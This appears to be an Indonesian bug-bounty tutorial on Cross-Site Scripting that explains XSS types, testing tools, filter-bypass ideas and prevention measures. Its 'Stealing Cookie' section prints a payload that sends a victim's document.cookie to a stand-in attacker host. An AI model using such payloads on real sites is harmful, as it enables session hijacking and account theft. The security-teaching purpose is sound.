BUG-BOUNTY SERIES 11: Cross-Site Scripting (XSS). Eksploitasi Input User untuk Mengambil Alih Sesi dan Interaksi

Setelah Series 10 kita membahas SQL Injection yang berfokus pada backend (database), pada series ini kita akan membahas salah satu vulnerability paling umum di sisi client, yaitu Cross-Site Scripting (XSS).

XSS menjadi salah satu celah favorit dalam Bug Bounty karena:

  • Mudah ditemukan (jika memahami pola)
  • Fleksibel untuk berbagai skenario eksploitasi
  • Dapat menghasilkan dampak serius seperti session hijacking

Apa Itu XSS?

Cross-Site Scripting (XSS) adalah celah keamanan yang terjadi ketika aplikasi web menampilkan input pengguna tanpa proses validasi atau sanitasi yang tepat, sehingga memungkinkan attacker menyisipkan kode JavaScript berbahaya ke dalam halaman web. Kode tersebut kemudian dieksekusi di browser korban.

Dampak XSS

Serangan XSS dapat menyebabkan:

  • Pencurian cookie sesi (session hijacking)
  • Pengambilalihan akun pengguna
  • Manipulasi tampilan website (defacement)
  • Redirect ke situs berbahaya
  • Eksekusi script berbahaya di browser korban

Cara Kerja XSS

Alur sederhana serangan XSS:

  1. Attacker memasukkan payload ke dalam input (form, URL, dll)
  2. Server menyimpan atau memproses input tanpa filter
  3. Input ditampilkan kembali ke user lain
  4. Browser korban mengeksekusi script tersebut

Jenis-Jenis XSS

1. Stored XSS (Persistent)

  • Payload disimpan di database
  • Dieksekusi setiap kali halaman diakses

Contoh lokasi:

  • Kolom komentar
  • Profil pengguna
  • Forum

2. Reflected XSS (Non-Persistent)

  • Payload dikirim melalui request (biasanya URL)
  • Langsung dipantulkan oleh server

Contoh:

  • Search parameter
  • Error message

3. DOM-Based XSS

  • Terjadi di sisi client (JavaScript)
  • Tidak melalui server

Biasanya melibatkan manipulasi DOM berdasarkan input user.

Payload Dasar XSS

Untuk testing awal:

<script>alert('XSS')</script>

Jika payload berhasil dieksekusi: Aplikasi kemungkinan rentan terhadap XSS

Tools untuk XSS Testing

1. Burp Suite

  • Intercept dan inject payload
  • Sangat efektif untuk manual testing

2. OWASP ZAP

  • Scanning otomatis vulnerability

3. XSStrike

  • Tool khusus untuk XSS detection & exploitation

Teknik Eksploitasi Lanjutan

1. Bypass Filter

Gunakan:

  • Encoding (<script>%3Cscript%3E)
  • Event handler (onerror, onload)
  • Obfuscation

2. Stealing Cookie

Contoh payload:

<script>document.location='http://target-attacker.com?cookie='+document.cookie</script>

3. Session Hijacking

Jika cookie tidak menggunakan flag:

  • HttpOnly
  • Secure

Maka attacker dapat mengambil alih sesi user.

4. Keylogger Injection

Menangkap input user secara real-time.

Best Practice saat Testing

  • Jangan menyerang user lain secara nyata
  • Gunakan payload sederhana sebagai PoC
  • Hindari eksploitasi berlebihan
  • Tetap dalam scope program

Cara Mencegah XSS

1. Input Sanitization

  • Filter karakter berbahaya (<, >, ", ')

2. Output Encoding

  • Encode sebelum ditampilkan ke browser

3. Content Security Policy (CSP)

  • Membatasi sumber script

4. Gunakan HttpOnly Cookie

  • Mencegah akses cookie melalui JavaScript

Kesimpulan Series 11

XSS adalah vulnerability yang sangat umum namun memiliki dampak besar jika dieksploitasi dengan benar.

Dengan memahami jenis, teknik eksploitasi, dan cara bypass filter, bug hunter dapat meningkatkan peluang menemukan celah yang bernilai tinggi.

"Input yang tidak disanitasi bukan hanya bug — tetapi pintu masuk ke sesi pengguna."

Pada Series 12, kita akan membahas vulnerability yang sering dikombinasikan dengan XSS, yaitu Cross-Site Request Forgery (CSRF), serta bagaimana attacker memanfaatkan sesi pengguna tanpa sepengetahuan mereka.